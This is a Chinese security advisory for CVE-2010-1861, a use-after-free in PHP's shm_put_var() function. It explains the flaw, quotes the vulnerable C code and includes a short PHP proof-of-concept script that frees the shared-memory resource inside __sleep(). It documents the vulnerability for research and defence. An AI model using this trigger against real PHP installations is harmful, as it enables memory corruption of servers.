var()访问已释放资源漏洞

发布日期:2010-05-05
更新日期:2010-05-10

受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2010-1861

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

当PHP函数需要追踪数据结构时,会使用Zend引擎注册资源。资源系统中的引用计数器仅会追踪指向实际资源的PHP变量,不会计算有多少函数在内部使用资源,这就在PHP代码中引入了漏洞。如果用户代码可以在PHP函数通过资源标识符获得了资源数据后中断该函数,就可以释放资源然后在内存中同样的位置分配同样大小的PHP字符串。可利用这个PHP字符串创建特制的资源允许利用PHP函数的内部。当恶意中断结束后,函数就会继续,使用已被替换的资源数据。

其中的一个有漏洞函数是sysvshm扩展的shm_put_var()函数:

PHP_FUNCTION(shm_put_var)
{
    ...

if (SUCCESS != zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlz", &shm_id, &shm_key, &arg_var)) {
        return;
    }

SHM_FETCH_RESOURCE(shm_list_ptr, shm_id);
   
    /* setup string-variable and serialize */
    PHP_VAR_SERIALIZE_INIT(var_hash);
    php_var_serialize(&shm_var, &arg_var, &var_hash TSRMLS_CC);
    PHP_VAR_SERIALIZE_DESTROY(var_hash);
   
    /* insert serialized variable into shared memory */
    ret = php_put_shm_data(shm_list_ptr->ptr, shm_key, shm_var.c, shm_var.len);

shm_put_var()内部调用了序列化功能,该功能也会序列化对象并调用对象的__sleep()方式。这个__sleep()方式之后可以释放shm资源,允许替换内存中在php_put_shm_data()调用中使用的shm_list_ptr结构,这会写入任意受控的内存。

static int php_put_shm_data(sysvshm_chunk_head *ptr, long key, const char *data, long len)
{
    sysvshm_chunk *shm_var;
    long total_size;
    long shm_varpos;

...

shm_var = (sysvshm_chunk *) ((char *) ptr + ptr->end); 
    shm_var->key = key;
    shm_var->length = len;
    shm_var->next = total_size;  
    memcpy(&(shm_var->mem), data, len);
    ptr->end += total_size;
    ptr->free -= total_size;
    return 0;

<*来源:Stefan Esser (s.esser@ematters.de)
 
  链接:
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php  
    class dummy
    {  
        function __sleep()
        {
            shm_detach($GLOBALS['r']);
            $GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxA'] = "AAAAAAAABBB";
            $GLOBALS['xxxxxxxxxxxxxxxxxxxxxxxxxxxxx'] = "AAAAAAAABBBBBBBBCCCCCCC";
            return array();
        }
    }
   
    $r = shm_attach(0x7350);
    shm_put_var($r, 0x31337, new dummy());
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/wwpydp.html